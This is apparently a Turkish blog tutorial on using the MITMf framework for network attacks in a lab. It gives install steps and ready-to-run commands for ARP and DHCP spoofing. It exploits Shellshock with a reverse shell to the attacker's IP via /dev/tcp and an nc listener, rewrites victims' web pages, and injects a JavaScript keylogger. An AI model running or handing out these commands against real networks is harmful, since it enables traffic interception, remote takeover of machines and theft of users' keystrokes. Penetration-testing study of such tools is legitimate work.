MITMf ( Framework for MITM Attacks) ile Network Saldırıları

Merhaba

Network temelli saldırılardan bahsedildiğinde ilk akla gelen saldırı yöntemi ARP Zehirlemesidir. Eğer bir saldırgan bulunduğu ağ üzerinde ARP posining saldırısını başarı ile gerçekleştirirse, bir sonraki adım olarak bir çok farklı tekniği kullanabilir. Bu teknikler arasında HTML Injection, JS Keylogger, vb yaklaşımlar mevcuttur.

Bu yazıda yukarı belirtilen saldırıları gerçekleştirmeye olanak sağlayan bir araç olan MITMf’i analiz edeceğiz.

MITMF

MITMf network saldırıları için hazırlanmış olan python ile geliştirimeye devam eden bir frameworktür. En güzel özelliklerinden birisi ise plug-in desteğidir. İhtiyaç dahilinde istediğiniz özellikle bir plug-in yazmanızı mümkün kılmaktadır. Mevcutta var olan plug-in’lerin listesi aşağıdaki şekildedir.

  • Spoof – ARP Spoofig saldırıları ile DNS ve DHCP gibi protokoller üzerin spoofing saldırıları gerçekleştirebilir.
  • BeEFAutorun – Kurbanın işletim sistemi browser tipine göre BeEF modülünü aktifleştirir.
  • AppCachePoison – Uygulama cache zehirleme saldırısı
  • BrowserProfiler – Kurbanın tarayıcısında ki pluginleri tespit eder.
  • CacheKill – Header bilgilerinin değiştirerek sayfanın cache’ini öldürür.
  • FilePwn – bdfactory modülü ile zararlı yazılım saldırısı.
  • Inject – Kurbana gönderilen HTTP içeriğine mudahale eder.
  • JavaPwn – Java versiyonuna göre Java-drive-by saldırısı gerçekleştirir.
  • jskeylogger – Kurbana gönderilen içeriği manipüle edere JS Keylogger saldırısı gerçekleştirir.
  • Replace – Kurbana sunucu tarafından gönderilen içeriğin herhangi bir kısmını değiştirir.
  • Upsidedownternet – HTML içerikleri resimleri 180 derece değiştirir :)

MITMf Kali üzerine Kurulumu

MITMf ilk çıktığında herhangi bir installation dökümanı bulunmamaktaydı. Bu konu ile ilgili ufak bir çalışma yapmış bulunmaktayım. Bu yazının yayınlandığı tarihte kurulum adımlarının eklenmesi ile ilgili pull request gönderilmiş bulunmaktadır. ( https://github.com/byt3bl33d3r/MITMf/pull/10 ).

Kurulum için aşağıdaki komutları sırasıyla çalıştırmanız yeterli olacaktır.

git clone https://github.com/byt3bl33d3r/MITMf.git mitmf
./install-bdfactory.sh
apt-get install capstone python-nfqueue
pip install pefile capstone

 MITMf ile İlk Saldırı ve Shellshock

MITMf default olarak DHCP Spoofing saldırısını desteklemektedir. Bunun yanı sıra Shellshock zafiyetinide kullanabilen modülü aktifleştirilebilmektedir. Eğer gerçek DHCP sunucu ile saldırganın oluşturduğu DHCP sunucusu arasında ki “race condition” kazanılırsa Shellshock zafiyeti exploit edilmiş olacaktır.

python mitmf.py --spoof --iface wlan0 --dhcp --shellshock

Hedef sunucuda istenilen komut çalıştırılabildiği için shellshock zafiyetini reverse shell bağlantısı hedefleyerek exploit edeceğiz. Bunu için aşağıdaki komutu çalıştırabilirsiniz.

python mitmf.py --spoof --iface eth0 --dhcp --shellshock --cmd "/bin/bash -i >& /dev/tcp/172.16.153.128/21 0>&1"

Gelen bağlantıyı karşılayabilmke için ayrı bir terminalde aşağıda ki komutu çalıştırınız.

nc -lvp 21

Saldırgan tarafından aşağıda ki ekran görüntüsünde olduğu gibi shellshock zafiyetini exploit edecek saldırı başlatılmıştır ve DHCP talebinde bulunacak bir hedef beklenmektedir.

mimtf shellshock

Networkte bulunan herhangi bir linux sunucu dhcp talebinde bulunduğuda ise aşağıdaki gibi bir bekleme olacaktır çünkü shellshock zafiyeti üzerinden saldırganın bilgisayarına bağlantı gerçekleşmiştir.

mitmf shellshock

Saldırı sonucunda elde edilen reverse shell ise aşağıdaki gibi olacaktır.

mitm shellshock

NOT : Bu saldırının gerçekleştirildiğin networkte bulunan ve aktif olarak çalışan gerçek bir DHCP sunucusu bulunmaktadır. Shellshock zafiyetinin exploit edilmesi içinde DHCP sunucusunun ele geçirilmesi zorunlu değildir !

MITMf ile HTML Injection

172.16.153.129 ip adresine sahip kurban, http://lab.mehmetince.net/html.html adresine gitmek istemektedir. Sayfanın normalde görünen şekli aşağıdaki gibidir.

mitmf html injection

Saldırgan aşağıdaki komutu çalıştırarak kurbana sunucu tarafından gönderilen HTTP içeriğini modifiye ederek Mehmet  kelimesi yerine Hacker  kelimesini yazmaktadır.

python mitmf.py --spoof --arp --iface eth0 --gateway 172.16.153.2 --target 172.16.153.129 --replace --search-str 'Mehmet' --replace-str 'HACKER'

Komut çalıştığında aşağıdaki gibi komut satırı çıkacaktır ve replace işleminin gerçekleştiği durumlar belirtilmiş olacaktır.

mitmf html replace kali

Kurban ise bu durumdan habersiz bir şekilde çağırdığı sayfayı aşağıdaki şekilde görüntülemiş olacaktır.

mitmf html replace result

MITMF JS Keylogger Özelliği

Kullanıcının html içeriğine müdahile edilebildiği için istenilen JS kodlarıda kurbanların internet tarayıcılarında çalıştırılabilir. JS kodları ile kullanıcının klavyesini dinlemeye imkan veren JSKeylogger özelliğini kullanmak için aşağıdaki komutu çalıştırmak yeterlidir.

python mitmf.py --spoof --arp --iface eth0 --gateway 172.16.153.2 --target 172.16.153.129 --jskeylogger

Kurban kişi linux.org adresini girmiştir ve bu sayfa açıkken bastigi tum tuslar kayit altina alınmıştır.

mitmf keylogger

 

SONUÇ

MITMf aracı son derece başarılı ve kullanışlı olduğunu düşünüyorum. Bu yazıda demosunu gerçekleştirmediğim JavaDriveBy vb bir çok güzel özelliğini ise sizin test etmenizi önermekteyim.